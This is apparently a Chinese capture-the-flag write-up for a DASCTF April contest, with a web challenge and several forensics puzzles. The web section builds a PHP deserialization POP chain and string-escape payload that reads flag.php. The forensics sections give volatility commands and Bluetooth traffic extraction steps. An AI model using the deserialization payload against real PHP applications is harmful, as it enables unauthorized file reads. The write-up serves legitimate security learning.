web1

打开提就是源码审计
考点:反序列化POP链、反序列化字符串逃逸
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
  $b = unserialize(read(write(serialize($a))));
通过大致分析我们发现最终利用点在C类中 我们先看一下C类 有个_toString() 它的意思是:当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 然后我们需要让里面的$c变量的值变成flag.php 而这里的问题来了我们如何实例化它??? 我们如何触发__toString方法???
 
审计B类 B类有个__destruct 方法它的意思就是当对象被销毁时自动调用  方法内输出变量c  
在B类有个字符串的拼接操作 $c='a'.$this->b 先执行$this->b时实例化了此处的$b属性在实例化时会触发C对象即 触发__toString方法打印出flag
但是问题又来了 如何实例化类B呢???
 
审计类A  类A通过GET传值实例化 所以我们要让类A来实例化类B 这样就构成了POP链
 
 
先来大致构造下程序逻辑 
模拟POP链  我们的想法是反序列化后首先通过A实例化了B 而比里面的$b里面的b变量是C 实例化了C类 C类被实例化执行__toString()函数 也就输出了我们的falg
 
 
得到 
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
得到了序列化的值 我们此时当然通过这个当做payload穿进去肯定是不行的因为不符合规范 我们再审计看看有没有方法构造长度膨胀让不需要的部分进行逃逸
 
 
测试传入1和2  这个是正常的序列化所以我们要构造这样的格式序列化
所以我们得构造能让蓝色部分的长度等于红色部分 这样我们绿的的部分就可以进行正常拼接了 这样的一个序列化字符串  
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}
 
我们可以通过这两个方法实现  \0\0\0是3个字符串二 chr(0)*chr(0)==空字符*空字符  所以是三个字符  所以我们数一下上面的红色序列化代码的部分的字符串是多少个 可以使用strlen()直接计算或者数吧。。。  我数了一下24个 所以我们要通过\0\0\0传入username让它转换成 chr(0)*chr(0) 没传一个\0\0\0  上面蓝色的部分旧货多空出来3就会吃掉红色部分3个字符串 3X8=24 所以我们需要传入8个\0\0\0
 
 
最终payload:
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
 
分析下内部的过程
先构建A->B->C的链条 传入payload。。
$a = new A('\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}');
print_r(serialize($a));
print_r(write(serialize($a)));
print_r(read(write(serialize($a))));
print_r(unserialize(read(write(serialize($a)))));
在我们传入payload首先进行序列化
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
 
之后要经过write()函数 此时我们红色部分为48个字符串
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
 
之后要经过read()函数进行替换  此时红色部分看起来像8个字符串实际上是每个字符左右两边都有空字符(chr(0))所以是24个字符串 我们继续看我们的蓝色部分为48那就说明它还会继续往后面匹配24个字符直到达到48为止 也就是匹配我们的橙色部分 这样剩下的拼接后就能正常的进行反序列化 输出我们的flag了。
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:73:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

web2

1

MISC-6G还远吗?

下载几十秒  终止下载 记事本打开查找flag即可

MISC-blueshark

Can you dig something you want out from the sea-colored beautiful shark?
 
流量分析emm  完全不会直接看wp走起 最后发现MISC好简单 分又多web好难分又低   这些都不是理由  是我太垃圾了hhhh
 
这时一个蓝牙协议流量
Ctrl+F  搜索压缩包 7z.....
 
选中7z开头即可导出 文件->导出分组字节流(Ctrl+Shift+x) 后缀为7z即可
 
 
压缩包需要密码 看到里面文件信息有提示信息 搜索pin
得到密码14185  解开压缩包 得到flag

MISC-keyboard

解压压缩包得到两个文件
raw文件即镜像文件  wp说是内存取证题
使用volatility提取文件
#查看镜像版本
volatility -f Keyboard.raw imageinfo
#直接定向检索txt文件
volatility -f Keyboard.raw --profile=Win7SP0x64 filescan | grep -E 'txt'
#将其dump下来
volatility -f Keyboard.raw --profile=Win7SP0x64 dumpfiles -Q 0x000000003d700880 -D ./
 
是一个dat为后缀的文件
 
使用strings命令可以查看内容
得到如下信息
红色部分就是我们的密文  红色上面的哪一行也提示了在ctfwikiCRYPTO中 所以解密去。。
倒数第二行提示了密码为大写
2020- 3-29 22:35:25
[BP][BP][BP][BP]hhhhh flag is not n[BP]here
2020- 3-29 22:35:30
2020- 3-29 22:36:41
ctfwikiCRYPTO ABC
CTKQEKNHZHQLLVGKROLATNWGQKRRKQGWNTA
2020- 3-29 22:37:23
[BP][BP]decrypto hou xiao xie geng[BP][BP] yi kan chu
2020- 3-29 22:39:24
But the password is in uppercase
2020- 3-29 22:38:55
 
 
我们按照这个来解密。。。
 
 
得到明文
1. 大写:VERACRYPTPASSWORDISKEYBOARDDRAOBYEK
2. 小写:veracryptpasswordiskeyboarddraobyek
意思是VeraCrypt的密码为keyboarddraobyek 之前的txt中还提示了密码为大写
 
使用VeraCrypt这个工具挂载加密卷 密码是刚才解密出的密文 
.....
 
内存取证工具volatility用法与实战
 
参考学习

http://www.fzwjscj.xyz/index.php/archives/25/#misc3

https://shimo.im/docs/9p6WDq3YchjTycGh

MISC-AWDshell

1

MISC-blueshark

1

安恒DASCTF 四月战 WP的更多相关文章

  1. 刷题[安恒DASCTF2020四月春季赛]Ez unserialize

    解题思路 打开直接源码,没别的,审就完事了 代码审计 <?php show_source("index.php"); function write($data) { retu ...

  2. DASCTF 安恒七月赛wp

    web Ezfileinclude 首页一张图片,看src就可以看出文件包含 验证了时间戳 尝试用php://filter 读源码读不到,以为只能读.jpg,然后用../路径穿越有waf 最后居然一直 ...

  3. 安恒月赛WP

    一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...

  4. 安恒7月赛wp

    1.[order]   这道题,发现order参数处有注入点,于是就使用sqlmap盲注,emmmm,学到了sqlmap的一些小窍门.   首先,解题的语句是: sqlmap -u "htt ...

  5. 安恒西湖论剑线下上午CTF部分题目WP

    简单的做了两个题,一道逆向,一道misc,其他题目,因为博主上课,时间不太够,复现时间也只有一天,后面的会慢慢补上 先说RE1,一道很简单的win32逆向,跟踪主函数,R或者TAB按几下, 根据esp ...

  6. MRCTF 2020 WP

    MRCTF 2020 WP 引言 周末趁上课之余,做了一下北邮的CTF,这里记录一下做出来的几题的WP ez_bypass 知识点:MD5强类型比较,is_numeric()函数绕过 题目源码: I ...

  7. 2020DASCTF八月浪漫七夕战

    安恒大学 注入点在邮箱注册那里,无法复现了,提一下 ezflask 源代码 #!/usr/bin/env python # -*- coding: utf-8 -*- from flask impor ...

  8. 【wp】2021MAR-DASCTF_逆向

    昨天打完的MAR DASCTF,来复个盘~ 不过就re做了3/4然后有事提前开溜了hhh,拿了drinkSomeTea和replace的三血心满意足(蜜汁三血执念. 感觉这回的出题人好喜欢TEA啊(正 ...

  9. BugkuCTF——wp(旧版)

    title: BugkuCTF--wp(旧版) date: 2020-4-25 tags: CTF,比赛 categories: CTF 比赛 Web篇 0x001-web2 解题思路: 1.直接按F ...

随机推荐

  1. document.all.WebBrowser为空或不是对象

    项目中也想用这个功能,发现出错,经过测试,一定要加<object id="WebBrowser" width=0 height=0 classid="CLSID:8 ...

  2. Messenger实现进程间通信(IPC)

    messenger内部也是实现aidl通信,所以可以看做一个轻量级aidl,但相对比较简单.首先开启一个服务并实现一个Handler用来处理消息,在onbind方法中返回IBinder对象,通过Ser ...

  3. mysql一些使用函数(不断更新)

    1.中文转拼音码,多用于将姓名转成拼音(例如:刘德华:liudehua) /*建立拼音码表*/ CREATE TABLE IF NOT EXISTS `t_base_pinyin` ( `pin_yi ...

  4. Mybatis---01Mybatis动态代理过程分析

    1.通过调试,session调用的getMapper是其实现类DefaultSQLSession中的 //1.读取配置文件 InputStream in = Resources.getResource ...

  5. Spring 最常用的 7 大类注解,哪些你还不知道?

    随着技术的更新迭代,Java5.0开始支持注解.而作为java中的领军框架spring,自从更新了2.5版本之后也开始慢慢舍弃xml配置,更多使用注解来控制spring框架. 而spring的的注解那 ...

  6. AtCoder Grand Contest 013D: Piling Up 题解

    题意简化: [luogu] Piling Up 一开始有n个颜色为黑白的球,但不知道黑白色分别有多少,m次操作,每次先拿出一个球,再放入黑白球各一个,再拿出一个球,最后拿出的球按顺序排列会形成一个颜色 ...

  7. Redis常用命令(4)——List

    BLPOP 格式:BLPOP key [key ...] timeout 作用:从列表左侧弹出元素,超时时间为timeout,单位为秒.如果timeout为0则一直阻塞直到列表中有元素.如果同时操作多 ...

  8. canvas生成圆图和微信小程序canvas圆图

    先在HTML中创建 img和canvas并设置id属性 <canvas id="canvas" width="500" height="500& ...

  9. 【Android Studio】安卓开发初体验3.1——UI设计之常用控件

    常用控件 首先对xml文件的编辑有三种模式 Code为纯代码 Split是一边代码,一边预览效果图 Designer就是有UI设计界面 TextView 用于在界面上显示一段文本信息 所有控件都可以在 ...

  10. Dapr Java Http 调用

    版本介绍 Java 版本:8 Dapr Java SKD 版本:0.9.2 Dapr Java-SDK HTTP 调用文档 有个先决条件,内容如下: Dapr and Dapr CLI. Java J ...